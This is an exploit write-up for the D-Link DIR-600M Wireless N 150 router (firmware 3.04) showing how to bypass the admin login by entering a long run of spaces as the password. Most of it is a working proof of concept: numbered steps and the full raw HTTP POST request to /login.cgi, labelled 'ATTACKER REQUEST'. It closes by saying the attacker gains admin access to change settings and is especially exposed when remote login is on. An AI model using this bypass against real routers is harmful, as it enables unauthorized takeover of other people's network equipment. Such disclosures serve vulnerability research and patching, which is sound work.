D-Link DIR-600M Wireless N 150 - Authentication Bypass

# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.

Its More Dangerous when your Router has a public IP with remote login
enabled.

For More Details : www.touhidshaikh.com/blog/

IN MY CASE,
Router IP : http://192.168.100.1



Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm

Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")



Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send


--------------------END here------------------------

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.




-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------